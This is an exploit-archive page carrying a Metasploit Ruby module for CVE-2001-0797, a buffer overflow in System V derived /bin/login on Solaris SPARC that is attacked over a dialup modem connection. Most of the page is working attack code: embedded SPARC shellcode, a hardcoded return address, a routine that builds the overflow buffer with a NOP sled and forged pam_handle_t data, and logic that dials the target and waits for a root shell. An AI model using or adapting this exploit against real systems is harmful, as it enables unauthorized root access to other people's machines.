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System V Derived /bin/login Extraneous Arguments Buffer Overflow

System V Derived /bin/login Extraneous Arguments Buffer Overflow
Posted Oct 27, 2009
Authored by I)ruid

This exploit connects to a system's modem over dialup and exploits a buffer overflow vulnerability in it's System V derived /bin/login. The vulnerability is triggered by providing a large number of arguments.

tags | exploit, overflow
advisories | CVE-2001-0797
SHA-256 | 879fb76e40bddd82af476396294fcefd3b2cf5ce2ed0dcf7a06b1239ed4be912

System V Derived /bin/login Extraneous Arguments Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Dialup

def initialize(info = {})
super(update_info(info,
'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
'Description' => %q{
This exploit connects to a system's modem over dialup and exploits
a buffer overlflow vulnerability in it's System V derived /bin/login.
The vulnerability is triggered by providing a large number of arguments.
},
'References' =>
[
[ 'CVE', '2001-0797'],
[ 'OSVDB', '690'],
[ 'OSVDB', '691'],
[ 'BID', '3681'],
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],
],
'Version' => '$Revision: 6479 $',
'Author' =>
[
'I)ruid',
],
'Arch' => ARCH_TTY,
'Platform' => ['unix'],
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 3000,
'BadChars' => '',
'DisableNops' => true,
},
'Targets' =>
[
['Solaris 2.6 - 8 (SPARC)', {
'Platform' => 'unix',
'Ret' => 0x00027184,
# Solaris/SPARC special shellcode (courtesy of inode)
# execve() + exit()
'Shellcode' =>
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" +
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" +
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" +
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",
'NOP' => "\x90\x1b\x80\x0e",
} ],

],
'DefaultTarget' => 0
))

register_options(
[
# OptString.new('USER', [true, 'User to log in as', 'bin']),
], self.class
)

deregister_options(
)
end

def buildbuf
print_status("Targeting: #{self.target.name}")

retaddr = self.target.ret
shellcode = self.target['Shellcode']
nop = self.target['NOP']

user = datastore['USER']
command = datastore['COMMAND'] + "\n"

# prepare the evil buffer
i = 0
buf = ''

# login name
buf[i,4] = 'bin '
i += 4

# return address
buf[i,4] = [retaddr].pack('N')
i += 4
buf[i,1] = ' '
i += 1

# trigger the overflow
(0...60).each {|c|
buf[i,2] = 'a '
i += 2
}

# padding
buf[i,4] = ' BBB'
i += 4

# nop sled and shellcode
(0...398).each {|c|
buf[i,nop.size] = nop
i += nop.size
}
shellcode.each_byte {|b|
c = b.chr
case 'c'
when "\\"
buf[i,2] = "\\\\"
i += 2
when "\xff", "\n", " ", "\t"
buf[i,1] = "\\"
buf[i+1,1] = (((b & 0300) >> 6) + '0').chr
buf[i+2,1] = (((b & 0070) >> 3) + '0').chr
buf[i+3,1] = ( (b & 0007) + '0').chr
i += 4
else
buf[i,1] = c
i += 1
end
}
# TODO: need to overwrite/skip the last byte of shellcode?
#i -= 1

# padding
buf[i,4] = 'BBB '
i += 4

# pam_handle_t: minimal header
buf[i,16] = 'CCCCCCCCCCCCCCCC'
i += 16
buf[i,4] = [retaddr].pack('N')
i += 4
buf[i,4] = [0x01].pack('N')
i += 4

# pam_handle_t: NULL padding
(0...52).each {|c|
buf[i,4] = [0].pack('N')
i += 4
}

# pam_handle_t: pameptr must be the 65th ptr
buf[i,9] = "\x00\x00\x00 AAAA\n"
i += 9

return buf
end

def exploit
buf = buildbuf

print_status("Dialing Target")
if not connect_dialup
print_error("Exiting.")
return
end

print_status("Waiting for login prompt")

res = dialup_expect(/ogin:\s/i, 10)
#puts Rex::Text.to_hex_dump(res[:buffer])
if not res[:match]
print_error("Login prompt not found... Exiting.")
disconnect_dialup
return
end

# send the evil buffer, 256 chars at a time
print_status("Sending evil buffer...")
#puts Rex::Text.to_hex_dump(buf)
len = buf.length
p = 0
while(len > 0) do
i = len > 0x100 ? 0x100 : len
#puts Rex::Text.to_hex_dump(buf[p,i])
dialup_puts(buf[p,i])
len -= i
p += i
# if len > 0
# puts Rex::Text.to_hex_dump("\x04")
# dialup_puts("\x04") if len > 0
# end
sleep 0.5
end

# wait for password prompt
print_status("Waiting for password prompt")
res = dialup_expect(/assword:/i, 30)
#puts Rex::Text.to_hex_dump(res[:buffer])
if not res[:match]
print_error("Target is likely not vulnerable... Exiting.")
disconnect_dialup
return
end

print_status("Password prompt received, waiting for shell")
dialup_puts("pass\n")

res = dialup_expect(/#\s/i, 20)
#puts Rex::Text.to_hex_dump(res[:buffer])
if not res[:match]
print_error("Shell not found.")
print_error("Target is likely not vulnerable... Exiting.")
disconnect_dialup
return
end

print_status("Success!!!")
handler

disconnect_dialup
end

end

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